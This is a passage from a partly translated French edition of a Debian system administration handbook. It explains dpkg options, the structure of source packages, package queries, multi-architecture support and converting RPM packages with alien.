dpkg gère la mise à jour des fichiers de configuration mais interrompt régulièrement ses opérations pour solliciter l'avis de l'administrateur. Cette caractéristique est relativement désagréable pour qui souhaite obtenir une mise à jour non interactive. C'est pourquoi ce programme propose des options permettant de répondre systématiquement selon la même logique : --force-confold conserve l'ancienne version du fichier ; --force-confnew utilise la nouvelle version du fichier (ces choix sont respectés même si le fichier n'a pas été modifié par l'administrateur ; ce n'est que rarement l'effet souhaité). Si de plus vous précisez --force-confdef, il fera le choix automatique quand c'est possible (c'est-à-dire lorsque le fichier de configuration original n'a pas été modifié) et ne se rabattra sur --force-confnew ou --force-confold que dans les autres cas.

These options apply to dpkg and are explained in detail in dpkg(1) or dpkg --force-help, but most of the time the administrator will work directly with the aptitude or apt programs. It is, thus, necessary to know the syntax used to indicate the options to pass to the dpkg command (their command line interfaces are very similar).

# apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" full-upgrade

These options can also be stored directly in apt's configuration. To do so, simply write the following lines in the /etc/apt/apt.conf.d/local file:

Dpkg::Options {

"--force-confdef";

"--force-confold";

}

Intégrer cette option dans le fichier de configuration permettra d'en profiter même dans le cadre d'une interface graphique telle qu'aptitude.

L'archive de contrôle contient souvent d'autres fichiers, comme triggers, shlibs ou symbols. Ces fichiers sont bien décrits dans deb-triggers(5), deb-shlibs(5) et deb-symbols(5).

Des déclencheurs ont été introduits pour réduire la quantité d’évènements en double lors de l'installation du paquet, comme l'enregistrement de fichiers ou les tâches de mise à jour du catalogue/base de données. Les paquets peuvent définir leurs propres déclencheurs ou activer des déclencheurs définis. Une documentation plus complète se trouve dans /usr/share/doc/dpkg/triggers.txt.gz.

Le système shlibs est une alternative plus ancienne et plus simple au système symbols pour déclarer les dépendances pour les bibliothèques partagées. Il définit le nom de paquet et la version dans laquelle trouver une version SONAME spécifique d'une bibliothèque partagée. Le nouveau système symbols permet de définir la dépendance par le suivi des symboles et du moment de leur modification ou introduction dans la bibliothèque.

5.3. Structure d'un paquet source

5.3.1. Format

A source package is usually comprised of three files, a .dsc, a .orig.tar.gz, and a .debian.tar.xz (or .diff.gz). They allow creation of binary packages (.deb files described above) from the source code files of the program, which are written in a programming language.

Le fichier .dsc (Debian Source Control, ou contrôle des sources de Debian) est un court fichier texte contenant un en-tête RFC 2822 (tout comme le fichier control étudié dans la Section 5.2.1, « Description : fichier control ») qui décrit le paquet source et indique quels autres fichiers en font partie. Il est signé par son mainteneur, ce qui en garantit l'authenticité — consulter la Section 6.6, « Vérification d'authenticité des paquets » pour plus de détails à ce sujet.

Exemple 5.1. Un fichier .dsc

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA512

Format: 3.0 (quilt)

Source: zim

Binary: zim

Architecture: all

Version: 0.73.5-1

Maintainer: Zim Package Maintainers <zim@packages.debian.org>

Uploaders: Raphaël Hertzog <hertzog@debian.org>

Homepage: https://zim-wiki.org

Standards-Version: 4.5.1

Vcs-Browser: https://salsa.debian.org/debian/zim

Vcs-Git: https://salsa.debian.org/debian/zim.git

Build-Depends: debhelper-compat (= 13), python3, python3-gi, python3-xdg, gir1.2-gtk-3.0, dh-python

Package-List:

zim deb x11 optional arch=all

Checksums-Sha1:

80d43d5c1c6a47c695079eb02bc8ad36b84d6e57 2159901 zim_0.73.5.orig.tar.gz

b1cd86dc4819a80126efbf6ee6eba17a33f451d3 10124 zim_0.73.5-1.debian.tar.xz

Checksums-Sha256:

a36f15d92c3994c0d55b07f83253b3d8b826beb3714865edbabc14f1cc91d63a 2159901 zim_0.73.5.orig.tar.gz

6c2db642d9ac1c2440ed08e0cd584006045b342b255f37ffe42bd5459fb5cb76 10124 zim_0.73.5-1.debian.tar.xz

Files:

fa76ceb8ac7d7354fb0e2bc5607e9faa 2159901 zim_0.73.5.orig.tar.gz

a0c824d979efb196cde0176d3cb9c719 10124 zim_0.73.5-1.debian.tar.xz

-----BEGIN PGP SIGNATURE-----

Comment: Signed by Raphael Hertzog

iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAmAa3ooACgkQA4gdq+vC

mrkq1gf/cs7irmbCSDrADVqsqYBrFJ1FyprE3jiHLNs0OQLryhFj9tzDuilX35VE

HkCfxSaKkzgvQLYtpuw1VBfhOdngTdHO39U6eljkaScnfLWU8Z5n/q+YeedxItoY

X3TtzMexFmb4WJqlylfjbXeqbLdYvsILQ3NVnE48AzkaBQlCC2d9bqecZhWiKfzq

gNxIDVDDhqCXMPe7QCErCBiFPUVpGN7b+6QWN0RxOTLZdj/slRD73rT++VmY+xN1

L8BSLcjXie+ES11MhQNYaLpCv2vqImlZaxkFWvsKBo9ndRFSbE3/RNK479a4KGve

KrdpGUJXy9uLPuAMyn5WphwXJ7OZXQ==

=YFDk

-----END PGP SIGNATURE-----

On notera au passage que le paquet source compte lui aussi des dépendances (Build-Depends), totalement distinctes de celles des paquets binaires, puisqu'il s'agit d'outils nécessaires pour compiler le logiciel concerné et construire son paquet binaire.

ATTENTION Espaces de noms distincts

Il est important de voir qu'il n'y a pas forcément correspondance entre le nom du paquet source et celui du ou des paquets binaires qu'il génère — c'est assez facile à comprendre si l'on sait que chaque paquet source peut générer plusieurs paquets binaires. C'est pourquoi le fichier .dsc dispose des champs Source et Binary pour nommer explicitement le paquet source et stocker la liste des paquets binaires qu'il génère.

CULTURE Pourquoi séparer en plusieurs paquets

Il est très fréquent qu'un paquet source (donc un ensemble logiciel donné) génère plusieurs paquets binaires. Les raisons sont multiples : un logiciel peut souvent être utilisé dans différents contextes ; ainsi une bibliothèque partagée peut être installée pour faire fonctionner une application (par exemple libc6), ou alors elle peut être installée pour développer un nouveau logiciel (libc6-dev sera alors le bon paquet). On retrouve la même logique pour des services client/serveur où l'on souhaite installer la partie serveur sur une première machine et la partie client sur d'autres (c'est par exemple le cas de openssh-server et openssh-client).

Just as frequently, the documentation is provided in a dedicated package: the user may install it independently from the software, and may at any time choose to remove it to save disk space. Additionally, this also saves disk space on the Debian mirrors, since the documentation package will be shared among all of the architectures (instead of having the documentation duplicated in the packages for each architecture).

PERSPECTIVE Différents formats de paquet source

À l'origine, il n'y avait qu'un seul format de paquet source. Il s'agit du format 1.0 qui associe une archive .orig.tar.gz à un patch de « debianisation » .diff.gz (il existe aussi une variante — constituée d'une seule archive .tar.gz — qui est automatiquement employée si aucun fichier .orig.tar.gz n'est disponible).

Since Debian 6 Squeeze, Debian developers have the option to use new formats that correct many problems of the historical format. Format 3.0 (quilt) can combine multiple upstream archives in the same source package: in addition to the usual .orig.tar.gz, supplementary .orig-component.tar.gz archives can be included. This is useful with software that is distributed in several upstream components but for which a single source package is desired. These archives can also be compressed with xz rather than gzip, which saves disk space and network resources. Finally, the monolithic patch, .diff.gz is replaced by a .debian.tar.xz archive containing the compiling instructions and a set of upstream patches contributed by the package maintainer. These last are recorded in a format compatible with quilt — a tool that facilitates the management of a series of patches.

Le fichier .orig.tar.gz est une archive contenant les codes sources du programme tels qu'ils ont été fournis par son auteur. Il est demandé aux développeurs de ne pas modifier cette archive afin de pouvoir vérifier facilement la provenance et l'intégrité du fichier (par simple comparaison d'une somme de contrôle) et par respect pour la volonté de certains auteurs.

The .debian.tar.xz contains all of the modifications made by the Debian maintainer, especially the addition of a debian directory containing the instructions to execute to construct one or more Debian binary packages.

OUTIL Décompresser un paquet source

Si l'on dispose d'un paquet source, on peut employer la commande dpkg-source (du paquet dpkg-dev) pour le décompacter :

$ dpkg-source -x zim_0.73.5-1.dsc

dpkg-source: info: extracting zim in zim-0.73.5

dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz

dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

You can also use apt to download a source package and unpack it right away. It requires that the appropriate deb-src lines be present in the /etc/apt/sources.list file, however (for further details, see Section 6.1, « Renseigner le fichier sources.list »). These are used to list the “sources” of source packages (meaning the servers on which a group of source packages are hosted).

$ apt source package

Reading package lists... Done

NOTICE: 'zim' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/debian/zim.git

Please use:

git clone https://salsa.debian.org/debian/zim.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 2,172 kB of source archives.

Get:1 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (dsc) [1,580 B]

Get:2 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (tar) [2,160 kB]

Get:3 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (diff) [10.1 kB]

Fetched 2,172 kB in 0s (7,176 kB/s)

dpkg-source: info: extracting zim in zim-0.73.5

dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz

dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

5.3.2. Utilité chez Debian

The source package is the foundation of everything in Debian. All Debian packages come from a source package, and each modification in a Debian package is the consequence of a modification made to the source package. The Debian maintainers work with the source package, knowing, however, the consequences of their actions on the binary packages. The fruits of their labors are thus found in the source packages available from Debian: you can easily go back to them and everything stems from them. Chapitre 15, Conception d'un paquet Debian contains some examples.

When a new version of a source package arrives on the Debian server, it will then be used by a network of machines of different architectures for compilation on the various architectures supported by Debian.

→ https://buildd.debian.org/

GOING FURTHER Source only maintainer uploads

Right after the release of Debian 10 Buster the Release Team announced that maintainer binary uploads will no longer be accepted for main and all binary packages in this component must be built automatically from mandatory source-only uploads. While binary uploads are still allowed for the contrib and non-free components, we will not focus on this possibility as it should only be the exception.

5.4. Manipuler des paquets avec dpkg

dpkg is the base command for handling Debian packages on the system. If you have .deb packages, it is dpkg that allows installation or analysis of their contents. But this program only has a partial view of the Debian universe: it knows what is installed on the system, and whatever it is given on the command line, but knows nothing of the other available packages. As such, it will fail if a dependency is not met. Tools such as apt and aptitude, on the contrary, will create a list of dependencies to install everything as automatically as possible.

NOTE dpkg ou apt ?

Il faut voir dpkg comme un outil système (de backend) et apt comme un outil plus proche de l'utilisateur, qui permet de dépasser les limitations du précédent. Mais ces deux outils marchent de concert, chacun a ses spécificités et convient mieux à certaines tâches.

5.4.1. Installation de paquets

dpkg est avant tout l'outil qui permet d'installer un paquet Debian déjà accessible (car il ne peut télécharger). On utilise pour cela son option -i ou --install.

Exemple 5.2. Installation d'un paquet avec dpkg

# dpkg -i man-db_2.9.4-2_amd64.deb

(Reading database ... 227466 files and directories currently installed.)

Preparing to unpack man-db_2.9.4-2_amd64.deb ...

Unpacking man-db (2.9.4-2) over (2.8.5-2) ...

Setting up man-db (2.9.4-2) ...

Updating database of manual pages ...

man-db.service is a disabled or a static unit not running, not starting it.

Processing triggers for mailcap (3.69) ...

We can see the different steps performed by dpkg; we know, thus, at what point any error may have occurred. The installation can also be effected in two stages: first unpacking, then configuration. apt takes advantage of this, limiting the number of calls to dpkg (since each call is costly, due to loading of the database in memory, especially the list of already installed files).

Exemple 5.3. Dépaquetage et configuration séparée

# dpkg --unpack man-db_2.9.4-2_amd64.deb

(Reading database ... 227466 files and directories currently installed.)

Preparing to unpack man-db_2.9.4-2_amd64.deb ...

Unpacking man-db (2.9.4-2) over (2.9.4-2) ...

Processing triggers for mailcap (3.69) ...

# dpkg --configure man-db

Setting up man-db (2.9.4-2) ...

Updating database of manual pages ...

man-db.service is a disabled or a static unit not running, not starting it.

Parfois, dpkg échouera à installer un paquet et renverra une erreur ; si on lui ordonne de l'ignorer, il se contentera alors d'émettre un avertissement : c'est à cela que servent les différentes options --force-*. La commande dpkg --force-help ou la documentation de cette commande donneront la liste complète de ces options. L'erreur la plus fréquente, et qui ne manquera pas de vous concerner tôt ou tard, est la collision de fichiers. Lorsqu'un paquet contient un fichier déjà installé par un autre paquet, dpkg refuse de l'installer. Les messages suivants apparaissent alors :

Dépaquetage de libgdm (à partir de .../libgdm_3.8.3-2_amd64.deb) ...

dpkg: erreur de traitement de /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--install) :

tentative de remplacement de « /usr/bin/gdmflexiserver », qui appartient aussi au paquet gdm3 3.4.1-9

Dans ce cas, si vous pensez que remplacer ce fichier ne constitue pas un risque important pour la stabilité de votre système (ce qui est presque toujours le cas), vous pouvez employer l'option --force-overwrite, qui indiquera à dpkg d'ignorer cette erreur et d'écraser le fichier.

While there are many available --force-* options, only --force-overwrite is likely to be used regularly. These options only exist for exceptional situations, rarely encountered in Debian Stable. It is better to leave them alone as much as possible in order to respect the rules imposed by the packaging mechanism. Do not forget, these rules ensure the consistency and stability of your system.

ATTENTION Du bon usage de --force-*

Si l'on n'y prend garde, l'usage d'une option --force-* peut mener à un système où les commandes de la famille APT refuseront de fonctionner. En effet, certaines de ces options permettent d'installer un paquet alors même qu'une dépendance n'est pas satisfaite, ou en dépit d'un conflit mentionné. Le résultat est un système incohérent du point de vue des dépendances et les commandes APT refuseront d'exécuter la moindre action, sauf celles qui permettent de revenir dans un état cohérent (cela consiste souvent à installer la dépendance manquante ou à supprimer le paquet problématique). Cela se traduit souvent par un message comme celui-ci, obtenu après avoir installé une nouvelle version de rdesktop en ignorant sa dépendance sur une version plus récente de la libc6 :

# apt full-upgrade

[...]

Vous pouvez lancer « apt-get -f install » pour corriger ces problèmes.

Les paquets suivants contiennent des dépendances non satisfaites :

rdesktop: Dépend: libc6 (>= 2.5) mais 2.3.6.ds1-13etch7 est installé

E: Dépendances manquantes. Essayez d'utiliser l'option -f.

L'administrateur aventureux qui est certain de la justesse de son analyse peut choisir d'ignorer une dépendance ou un conflit, donc d'employer l'option --force-* correspondante. Dans ce cas, s'il veut pouvoir continuer d'employer apt ou aptitude, il doit éditer /var/lib/dpkg/status pour supprimer/modifier la dépendance ou le conflit qu'il a choisi d'outrepasser.

This manipulation is an ugly hack, and should never be used, except in the most extreme case of necessity. Quite frequently, a more fitting solution is to recompile the package that is causing the problem (see Section 15.1, « Recompiler un paquet depuis ses sources ») or use a new version (potentially corrected) from a repository such as the stable-backports one (see Section 6.1.2.4, « Rétroportages vers stable »).

5.4.2. Suppression de paquets

Invoking dpkg with the -r or --remove option, followed by the name of a package, removes that package. This removal is, however, not complete: all of the configuration files, maintainer scripts, log files (system logs) and other user data handled by the package remain. That way disabling the program is easily done by uninstalling it, and it is still possible to quickly reinstall it with the same configuration. To completely remove everything associated with a package, use the -P or --purge option, followed by the package name.

Exemple 5.4. Suppression puis purge du paquet debian-cd

# dpkg -r debian-cd

(Reading database ... 228705 files and directories currently installed.)

Removing debian-cd (3.1.35) ...

# dpkg -P debian-cd

(Reading database ... 228049 files and directories currently installed.)

Purging configuration files for debian-cd (3.1.35) ...

5.4.3. Consulter la base de données de dpkg et inspecter des fichiers .deb

B.A.-BA Syntaxe des options

La plupart des options sont disponibles en version « longue » (un ou plusieurs mots significatifs, précédés d'un tiret double) ou « courte » (une seule lettre, souvent l'initiale d'un mot de la version longue, et précédée d'un seul tiret). Cette convention est si fréquente qu'elle est normée POSIX.

Before concluding this section, we will study dpkg options that query the internal database in order to obtain information. Giving first the long options and then corresponding short options (that will evidently take the same possible arguments) we cite

- --listfiles package (or -L), which lists the files installed by this package;

- --search file (or -S), which finds the package(s) containing the file;

- --status package (or -s), which displays the headers of an installed package;

- --list (or -l), which displays the list of packages known to the system and their installation status;

- --contents file.deb (or -c), which lists the files in the Debian package specified;

- --info file.deb (or -I), which displays the headers of this Debian package.

CAUTION dpkg --search and merged /usr

For various reasons, Debian now installs by default a few top-level directories as symlinks to their counterparts below /usr. For instance, /bin, /sbin and /lib are now symlinks to, respectively, /usr/bin, /usr/sbin and /usr/lib.

While this does provide desirable benefits, it can also be a source of confusion. For example, when you query dpkg which package is owning a given file, it will only be able to answer when you ask for its original path:

$ dpkg --search /bin/mount

mount: /bin/mount

$ dpkg --search /usr/bin/mount

dpkg-query: no path found matching pattern /usr/bin/mount

$ dpkg --search /bin/apt

dpkg-query: no path found matching pattern /bin/apt

$ dpkg --search /usr/bin/apt

apt: /usr/bin/apt

This issue is currently tracked as bug #858331. There is also an ongoing discussion if the approach used so far is counterproductive.

→ https://bugs.debian.org/858331

Exemple 5.5. Diverses requêtes avec dpkg

$ dpkg -L base-passwd

/.

/usr

/usr/sbin

/usr/sbin/update-passwd

/usr/share

/usr/share/base-passwd

/usr/share/base-passwd/group.master

/usr/share/base-passwd/passwd.master

/usr/share/doc

/usr/share/doc/base-passwd

/usr/share/doc/base-passwd/README

/usr/share/doc/base-passwd/changelog.gz

/usr/share/doc/base-passwd/copyright

/usr/share/doc/base-passwd/users-and-groups.html

/usr/share/doc/base-passwd/users-and-groups.txt.gz

/usr/share/doc-base

/usr/share/doc-base/users-and-groups

/usr/share/lintian

/usr/share/lintian/overrides

/usr/share/lintian/overrides/base-passwd

/usr/share/man

/usr/share/man/de

/usr/share/man/de/man8

/usr/share/man/de/man8/update-passwd.8.gz

/usr/share/man/es

/usr/share/man/es/man8

/usr/share/man/es/man8/update-passwd.8.gz

/usr/share/man/fr

/usr/share/man/fr/man8

/usr/share/man/fr/man8/update-passwd.8.gz

/usr/share/man/ja

/usr/share/man/ja/man8

/usr/share/man/ja/man8/update-passwd.8.gz

/usr/share/man/man8

/usr/share/man/man8/update-passwd.8.gz

/usr/share/man/pl

/usr/share/man/pl/man8

/usr/share/man/pl/man8/update-passwd.8.gz

/usr/share/man/ru

/usr/share/man/ru/man8

/usr/share/man/ru/man8/update-passwd.8.gz

$ dpkg -S /bin/date

coreutils: /bin/date

$ dpkg -s coreutils

Package: coreutils

Essential: yes

Status: install ok installed

Priority: required

Section: utils

Installed-Size: 17478

Maintainer: Michael Stone <mstone@debian.org>

Architecture: amd64

Multi-Arch: foreign

Source: coreutils (8.32-4)

Version: 8.32-4+b1

Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libgmp10, libselinux1 (>= 3.1~)

Description: GNU core utilities

This package contains the basic file, shell and text manipulation

utilities which are expected to exist on every operating system.

.

Specifically, this package includes:

arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp

csplit cut date dd df dir dircolors dirname du echo env expand expr

factor false flock fmt fold groups head hostid id install join link ln

logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt

od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm

rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac

tail tee test timeout touch tr true truncate tsort tty uname unexpand

uniq unlink users vdir wc who whoami yes

Homepage: http://gnu.org/software/coreutils

$ dpkg -l 'b*'

Desired=Unknown/Install/Remove/Purge/Hold

| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend

|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)

||/ Name                       Version       Architecture Description

+++-==========================-==============-============-==================================

un  backupninja                <none>         <none>       (no description available)

un  backuppc                   <none>         <none>       (no description available)

ii  baloo-kf5                  5.78.0-3       amd64        framework for searching and manag>

un  balsa                      <none>         <none>       (no description available)

ii  baobab                     3.38.0-1       amd64        GNOME disk usage analyzer

un  base                       <none>         <none>       (no description available)

un  base-config                <none>         <none>       (no description available)

ii  base-files                 11.1           amd64        Debian base system miscellaneous >

ii  base-passwd                3.5.51         amd64        Debian base system master passwor>

ii  bash                       5.1-2+b1       amd64        GNU Bourne Again SHell

[..]

$ dpkg -c /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb

drwxr-xr-x root/root         0 2021-07-25 20:43 ./

drwxr-xr-x root/root         0 2021-07-25 20:43 ./bin/

-rwxr-xr-x root/root   1234376 2021-07-25 20:43 ./bin/bash

drwxr-xr-x root/root         0 2021-07-25 20:43 ./etc/

-rw-r--r-- root/root      1994 2021-07-25 20:43 ./etc/bash.bashrc

drwxr-xr-x root/root         0 2021-07-25 20:43 ./etc/skel/

-rw-r--r-- root/root       220 2021-07-25 20:43 ./etc/skel/.bash_logout

-rw-r--r-- root/root      3526 2021-07-25 20:43 ./etc/skel/.bashrc

-rw-r--r-- root/root       807 2021-07-25 20:43 ./etc/skel/.profile

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/bin/

-rwxr-xr-x root/root      6759 2021-07-25 20:43 ./usr/bin/bashbug

-rwxr-xr-x root/root     14648 2021-07-25 20:43 ./usr/bin/clear_console

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/share/

drwxr-xr-x root/root         0 2021-07-25 20:43 ./usr/share/doc/

[..]

$ dpkg -I /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb

new Debian package, version 2.0.

size 1416600 bytes: control archive=7256 bytes.

77 bytes,     4 lines      conffiles

1030 bytes,    27 lines      control

4511 bytes,    64 lines      md5sums

603 bytes,    31 lines   *  postinst             #!/bin/bash

500 bytes,    25 lines   *  postrm               #!/bin/sh

14536 bytes,    33 lines   *  preinst

289 bytes,    22 lines   *  prerm                #!/bin/bash

Package: bash

Source: bash (5.1-3)

Version: 5.1-3+b1

Architecture: amd64

Essential: yes

Maintainer: Matthias Klose <doko@debian.org>

Installed-Size: 6470

Pre-Depends: libc6 (>= 2.25), libtinfo6 (>= 6)

Depends: base-files (>= 2.1.12), debianutils (>= 2.15)

Recommends: bash-completion (>= 20060301-0)

Suggests: bash-doc

Conflicts: bash-completion (<< 20060301-0)

Replaces: bash-completion (<< 20060301-0), bash-doc (<= 2.05-1)

Section: shells

Priority: required

Multi-Arch: foreign

Homepage: http://tiswww.case.edu/php/chet/bash/bashtop.html

Description: GNU Bourne Again SHell

Bash is an sh-compatible command language interpreter that executes

commands read from the standard input or from a file.  Bash also

incorporates useful features from the Korn and C shells (ksh and csh).

.

Bash is ultimately intended to be a conformant implementation of the

IEEE POSIX Shell and Tools specification (IEEE Working Group 1003.2).

.

The Programmable Completion Code, by Ian Macdonald, is now found in

the bash-completion package.

POUR ALLER PLUS LOIN Comparaison de versions

dpkg étant le programme de référence pour manipuler les paquets Debian, il fournit également l'implémentation de référence de la logique de comparaison des numéros de versions. C'est pourquoi il dispose d'une option --compare-versions utilisable par des programmes externes (et notamment les scripts de configuration exécutés par dpkg lui-même). Cette option requiert trois paramètres : un numéro de version, un opérateur de comparaison et un second numéro de version. Les différents opérateurs possibles sont lt (strictement plus petit que — lower than), le (plus petit ou égal à — lower or equal), eq (égal à — equal), ne (différent de — not equal), ge (plus grand ou égal à — greater or equal) et gt (strictement plus grand que — greater than). Si la comparaison est avérée, dpkg renvoie le code de retour 0 (succès) ; sinon il renvoie une valeur non nulle (indiquant un échec).

$ dpkg --compare-versions 1.2-3 gt 1.1-4

$ echo $?

0

$ dpkg --compare-versions 1.2-3 lt 1.1-4

$ echo $?

1

$ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1

$ echo $?

1

Notez l'échec inattendu de la dernière comparaison : pour dpkg, pre — dénotant généralement une pré-version — n'a pas de signification particulière et ce programme compare les caractères alphabétiques de la même manière que les chiffres (a < b < c ...), dans l'ordre dit « lexicographique ». C'est pourquoi il considère que « 0pre3 » est plus grand que « 0 ». Lorsque l'on souhaite intégrer dans le numéro de version d'un paquet qu'il s'agit d'une pré-version, on fait usage du caractère « ~ » :

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1

$ echo $?

0

5.4.4. Journal de dpkg

dpkg tient un journal de toutes ses actions, dans /var/log/dpkg.log. Ce journal est extrêmement verbeux, car il détaille chacune des étapes par lesquelles passent les paquets manipulés par dpkg. En plus d'offrir un moyen de suivre le comportement de dpkg, cela donne surtout un historique de l'évolution du système : on peut retrouver l'instant précis où chaque paquet a été installé ou mis à jour et ces informations peuvent être extrêmement utiles pour comprendre un changement récent de comportement. Par ailleurs, toutes les versions étant enregistrées, il est facile de croiser les informations avec le changelog.Debian.gz des paquets incriminés, voire avec les rapports de bogues disponibles en ligne.

5.4.5. Support multi-architecture

Tous les paquets Debian ont un champ Architecture dans leur information de contrôle. Ce champ peut prendre la valeur all (pour les paquets ne dépendant pas d'une architecture particulière), ou le nom de l'architecture visée dans le cas contraire (comme amd64, armhf, etc.). Dans ce dernier cas, par défaut, dpkg n'acceptera d'installer le paquet que si son architecture déclarée est la même que celle renvoyée par dpkg --print-architecture.

Cette restriction assure que les utilisateurs ne vont pas se retrouver avec des binaires compilés pour une architecture incorrecte. Elle présente tout de même le défaut que certains ordinateurs sont capables de faire fonctionner des binaires compilés pour différentes architectures, soit de manière native (un système amd64 peut exécuter des programmes i386), soit par le biais d'émulateurs.

5.4.5.1. Activer le support multi-architecture

Le support multi-architecture de dpkg permet à l'administrateur de définir des architectures supplémentaires dont les paquets pourront être installés sur le système. Cela se fait simplement par la commande dpkg --add-architecture comme l'illustre l'exemple suivant. Il existe aussi une commande dpkg --remove-architecture pour désactiver le support d'une architecture supplémentaire, mais elle n'est utilisable que si aucun paquet de cette architecture n'est installé.

# dpkg --print-architecture

amd64

# dpkg --print-foreign-architectures

# dpkg -i gcc-9-base_9.3.0-22_armhf.deb

dpkg: error processing archive gcc-9-base_9.3.0-22_armhf.deb (--install):

package architecture (armhf) does not match system (amd64)

Errors were encountered while processing:

gcc-9-base_9.3.0-22_armhf.deb

# dpkg --add-architecture armhf

# dpkg --add-architecture armel

# dpkg --print-foreign-architectures

armhf

armel

# dpkg -i gcc-9-base_9.3.0-22_armhf.deb

(Reading database ... 456367 files and directories currently installed.)

Preparing to unpack gcc-9-base_9.3.0-22_armhf.deb ...

Unpacking gcc-9-base:armhf (9.3.0-22) ...

Setting up gcc-9-base:armhf (9.3.0-22) ...

# dpkg --remove-architecture armhf

dpkg: error: cannot remove architecture 'armhf' currently in use by the database

# dpkg --remove-architecture armel

# dpkg --print-foreign-architectures

armhf

NOTE Le support multi-architecture dans APT

APT will automatically detect when dpkg has been configured to support foreign architectures and will start downloading the corresponding Packages files during its update process.

Les paquets des architectures supplémentaires peuvent alors être installés avec apt install package:architecture.

EN PRATIQUE Utilisation de binaires i386 propriétaires sur amd64

There are multiple use cases for multi-arch, but the most popular ones are the possibility to execute (sometimes proprietary) 32 bit binaries (i386) on 64 bit systems (amd64), and the possibility to cross-compile software for a platform or an architecture different from the host one.

5.4.5.2. Changements liés au support multi-architecture

To make multi-arch actually useful and usable, libraries had to be repackaged and moved to an architecture-specific directory so that multiple copies (targeting different architectures) can be installed alongside. Such updated packages contain the “Multi-Arch: same” header field to tell the packaging system that the various architectures of the package can be safely co-installed (and that those packages can only satisfy dependencies of packages of the same architecture). The most important libraries have been converted since the introduction of multi-arch in Debian 7 Wheezy, but there are many libraries that will likely never be converted unless someone specifically requests it (through a bug report for example).

$ dpkg -s gcc-9-base

dpkg-query: error: --status needs a valid package name but 'gcc-9-base' is not: ambiguous package name 'gcc-9-base' with more than one installed instance

Use --help for help about querying packages.

$ dpkg -s gcc-9-base:amd64 gcc-9-base:armhf | grep ^Multi

Multi-Arch: same

Multi-Arch: same

$ dpkg -L libgcc-s1:amd64 |grep .so

/lib/x86_64-linux-gnu/libgcc_s.so.1

$ dpkg -S /usr/share/doc/gcc-9-base/copyright

gcc-9-base:amd64, gcc-9-base:armhf: /usr/share/doc/gcc-9-base/copyright

Il est à noter que les paquets Multi-Arch: same ne sont identifiables sans ambiguïté que si leur nom est qualifié avec leur architecture. Ils ont également la possibilité de partager des fichiers avec d'autres instances du même paquet ; dpkg s'assure que ces fichiers partagés sont identiques au bit près. Pour terminer, mentionnons que toutes les instances d'un même paquet doivent avoir la même version et qu'ils doivent donc être mis à jour en même temps.

Le support multi-architecture apporte également quelques complications dans la gestion des dépendances. Une dépendance, pour être satisfaite, requiert soit un paquet marqué Multi-Arch: foreign, soit un paquet dont l'architecture est identique à celle du paquet déclarant la dépendance (lors de ce processus de résolution des dépendances, les paquets indépendants de l'architecture sont considérés comme ayant l'architecture principale du système). Une dépendance peut aussi être affaiblie de manière à pouvoir être satisfaite par un paquet d'architecture quelconque, avec la syntaxe paquet:any, mais les paquets des architectures supplémentaires ne peuvent satisfaire cette dépendance que s'ils sont marqués comme Multi-Arch: allowed.

5.5. Cohabitation avec d'autres systèmes de paquetages

Les paquets Debian ne sont pas les seuls paquetages logiciels exploités dans le monde du logiciel libre. Le principal concurrent est le format RPM de la distribution Red Hat Linux et de ses nombreuses dérivées. C'est une distribution commerciale qui fait souvent référence ; il est donc fréquent que des logiciels fournis par des tierces parties soient proposés sous forme de paquets RPM plutôt que Debian.

Dans ce cas, il faut savoir que le programme rpm, qui permet de manipuler des paquets RPM, existe en paquet Debian ; il est donc possible d'utiliser des paquets de ce format sur une machine Debian. On veillera en revanche à limiter ces manipulations à l'extraction des informations du paquet ou à la vérification de son intégrité. Il est en effet déraisonnable de faire appel à rpm pour installer un paquet RPM sur un système Debian — RPM emploie ses propres bases de données, distinctes de celles des logiciels natifs (comme dpkg). C'est pourquoi il n'est pas possible d'assurer une coexistence saine des deux systèmes de paquetages.

Par ailleurs, l'utilitaire alien permet de convertir des paquets RPM en paquets Debian et vice versa.

COMMUNAUTÉ Encourager l'adoption du .deb

If you regularly use the alien program to install RPM packages coming from one of your providers, do not hesitate to write to them and amicably express your strong preference for the .deb format. Note that the format of the package is not everything: a .deb package built with alien or prepared for a version of Debian different than that which you use, or even for a derivative distribution like Ubuntu, would probably not offer the same level of quality and integration as a package specifically developed for Debian Bullseye.

$ fakeroot alien --to-deb phpMyAdmin-5.1.1-2.fc35.noarch.rpm

[..]

Warning: Skipping conversion of scripts in package phpMyAdmin: postinst

Warning: Use the --scripts parameter to include the scripts.

[..]

phpmyadmin_5.1.1-3_all.deb generated

$ ls -sh phpmyadmin_5.1.1-3_all.deb

6,0M phpmyadmin_5.1.1-3_all.deb

$ dpkg -c phpmyadmin_5.1.1-3_all.deb

drwxr-xr-x root/root         0 2021-08-09 02:02 ./

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/

drwxr-xr-x root/root         0 2021-08-09 02:02 ./etc/httpd/

